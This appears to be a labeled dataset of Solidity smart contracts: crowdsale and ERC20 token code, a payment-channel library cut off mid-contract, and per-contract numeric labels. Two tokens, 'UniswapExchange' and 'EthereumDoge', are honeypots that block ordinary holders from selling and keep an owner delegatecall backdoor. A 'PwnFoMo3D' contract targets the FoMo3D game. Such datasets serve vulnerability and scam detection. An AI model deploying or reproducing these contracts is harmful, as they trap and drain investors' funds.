return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is Ownable, TimedCrowdsale {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() public onlyOwner {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract Whitelist is Ownable, RBAC {
string public constant ROLE_WHITELISTED = "whitelist";
modifier onlyIfWhitelisted(address _operator) {
checkRole(_operator, ROLE_WHITELISTED);
_;
}
function addAddressToWhitelist(address _operator)
public
onlyOwner
{
addRole(_operator, ROLE_WHITELISTED);
}
function whitelist(address _operator)
public
view
returns (bool)
{
return hasRole(_operator, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] _operators)
public
onlyOwner
{
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
function removeAddressFromWhitelist(address _operator)
public
onlyOwner
{
removeRole(_operator, ROLE_WHITELISTED);
}
function removeAddressesFromWhitelist(address[] _operators)
public
onlyOwner
{
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
contract WhitelistedCrowdsale is Whitelist, Crowdsale {
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyIfWhitelisted(_beneficiary)
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract PlatinICO is FinalizableCrowdsale, WhitelistedCrowdsale, Pausable {
using SafeMath for uint256;
bool lockup;
uint256 public sold;
PlatinTGE public tge;
constructor(
uint256 _rate,
address _wallet,
ERC20 _token,
uint256 _openingTime,
uint256 _closingTime
)
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
public
{}
function setTGE(PlatinTGE _tge) external onlyOwner {
require(tge == address(0), "TGE is already set.");
require(_tge != address(0), "TGE address can't be zero.");
tge = _tge;
rate = tge.TOKEN_RATE();
}
function buyLockupTokens(address _beneficiary) external payable {
lockup = true;
if (_beneficiary == address(0x0))
buyTokens(msg.sender);
else
buyTokens(_beneficiary);
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
if (lockup) {
uint256[] memory _lockupReleases = new uint256[](1);
uint256[] memory _lockupAmounts = new uint256[](1);
_lockupReleases[0] = block.timestamp + tge.ICO_LOCKUP_PERIOD();
_lockupAmounts[0] = _tokenAmount;
PlatinToken(token).transferWithLockup(
_beneficiary,
_tokenAmount,
_lockupReleases,
_lockupAmounts,
false);
lockup = false;
} else {
PlatinToken(token).transfer(
_beneficiary,
_tokenAmount);
}
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(sold.add(_tokenAmount) <= tge.ICO_AMOUNT(), "Can't be sold more than ICO amount.");
sold = sold.add(_tokenAmount);
super._processPurchase(_beneficiary, _tokenAmount);
}
function finalization() internal {
uint256 _unsold = token.balanceOf(this);
if (_unsold > 0) {
PlatinToken(token).transfer(
tge.UNSOLD_RESERVE(),
_unsold);
}
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
whenNotPaused
{
require(_weiAmount >= tge.MIN_PURCHASE_AMOUNT(), "Insufficient funds to make the purchase.");
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 _rate = rate;
if (lockup)
_rate = tge.TOKEN_RATE_LOCKUP();
return _weiAmount.mul(_rate);
}
} | 1 | 4,450 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,518 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract EthereumDoge {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,424 |
pragma solidity ^0.4.24;
interface FoMo3DlongInterface {
function getBuyPrice()
public
view
returns(uint256)
;
function getTimeLeft()
public
view
returns(uint256)
;
function withdraw() external;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract PwnFoMo3D is Owned {
FoMo3DlongInterface fomo3d;
constructor() public payable {
fomo3d = FoMo3DlongInterface(0x0aD3227eB47597b566EC138b3AfD78cFEA752de5);
}
function gotake() public {
address(fomo3d).call.value( fomo3d.getBuyPrice() *2 )();
}
function withdrawOwner2(uint256 a) public onlyOwner {
fomo3d.withdraw();
}
function withdrawOwner(uint256 a) public onlyOwner {
msg.sender.transfer(a);
}
} | 0 | 1,216 |
pragma solidity ^0.4.18;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Owned {
address public owner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract SpendCoin is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function SpendCoin() public {
symbol = "XSD";
name = "SpendCoin";
decimals = 18;
_totalSupply = 10000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function () public payable {
}
function withdraw() public onlyOwner returns (bool result) {
return owner.send(this.balance);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0 | 2,373 |
pragma solidity ^0.4.15;
library ECRecovery {
function recover(bytes32 hash, bytes sig) public constant returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
library ChannelLibrary {
struct Data {
uint close_timeout;
uint settle_timeout;
uint audit_timeout;
uint opened;
uint close_requested;
uint closed;
uint settled;
uint audited;
ChannelManagerContract manager;
address sender;
address receiver;
address client;
uint balance;
address auditor;
uint nonce;
uint completed_transfers;
}
struct StateUpdate {
uint nonce;
uint completed_transfers;
}
modifier notSettledButClosed(Data storage self) {
require(self.settled <= 0 && self.closed > 0);
_;
}
modifier notAuditedButClosed(Data storage self) {
require(self.audited <= 0 && self.closed > 0);
_;
}
modifier stillTimeout(Data storage self) {
require(self.closed + self.settle_timeout >= block.number);
_;
}
modifier timeoutOver(Data storage self) {
require(self.closed + self.settle_timeout <= block.number);
_;
}
modifier channelSettled(Data storage self) {
require(self.settled != 0);
_;
}
modifier senderOnly(Data storage self) {
require(self.sender == msg.sender);
_;
}
modifier receiverOnly(Data storage self) {
require(self.receiver == msg.sender);
_;
}
function deposit(Data storage self, uint256 amount)
senderOnly(self)
returns (bool success, uint256 balance)
{
require(self.opened > 0);
require(self.closed == 0);
StandardToken token = self.manager.token();
require (token.balanceOf(msg.sender) >= amount);
success = token.transferFrom(msg.sender, this, amount);
if (success == true) {
self.balance += amount;
return (true, self.balance);
}
return (false, 0);
}
function request_close(
Data storage self
) {
require(msg.sender == self.sender || msg.sender == self.receiver);
require(self.close_requested == 0);
self.close_requested = block.number;
}
function close(
Data storage self,
address channel_address,
uint nonce,
uint completed_transfers,
bytes signature
)
{
if (self.close_timeout > 0) {
require(self.close_requested > 0);
require(block.number - self.close_requested >= self.close_timeout);
}
require(nonce > self.nonce);
require(completed_transfers >= self.completed_transfers);
require(completed_transfers <= self.balance);
if (msg.sender != self.sender) {
bytes32 signed_hash = hashState(
channel_address,
nonce,
completed_transfers
);
address sign_address = ECRecovery.recover(signed_hash, signature);
require(sign_address == self.sender);
}
if (self.closed == 0) {
self.closed = block.number;
}
self.nonce = nonce;
self.completed_transfers = completed_transfers;
}
function hashState (
address channel_address,
uint nonce,
uint completed_transfers
) returns (bytes32) {
return sha3 (
channel_address,
nonce,
completed_transfers
);
}
function settle(Data storage self)
notSettledButClosed(self)
timeoutOver(self)
{
StandardToken token = self.manager.token();
if (self.completed_transfers > 0) {
require(token.transfer(self.receiver, self.completed_transfers));
}
if (self.completed_transfers < self.balance) {
require(token.transfer(self.sender, self.balance - self.completed_transfers));
}
self.settled = block.number;
}
function audit(Data storage self, address auditor)
notAuditedButClosed(self) {
require(self.auditor == auditor);
require(block.number <= self.closed + self.audit_timeout);
self.audited = block.number;
}
function validateTransfer(
Data storage self,
address transfer_id,
address channel_address,
uint sum,
bytes lock_data,
bytes signature
) returns (uint256) {
bytes32 signed_hash = hashTransfer(
transfer_id,
channel_address,
lock_data,
sum
);
address sign_address = ECRecovery.recover(signed_hash, signature);
require(sign_address == self.client);
}
function hashTransfer(
address transfer_id,
address channel_address,
bytes lock_data,
uint sum
) returns (bytes32) {
if (lock_data.length > 0) {
return sha3 (
transfer_id,
channel_address,
sum,
lock_data
);
} else {
return sha3 (
transfer_id,
channel_address,
sum
);
}
}
}
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function balanceOf(address _owner) public constant returns (uint256);
function allowance(address _owner, address _spender) public constant returns (uint256);
uint256 public totalSupply;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowances[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value);
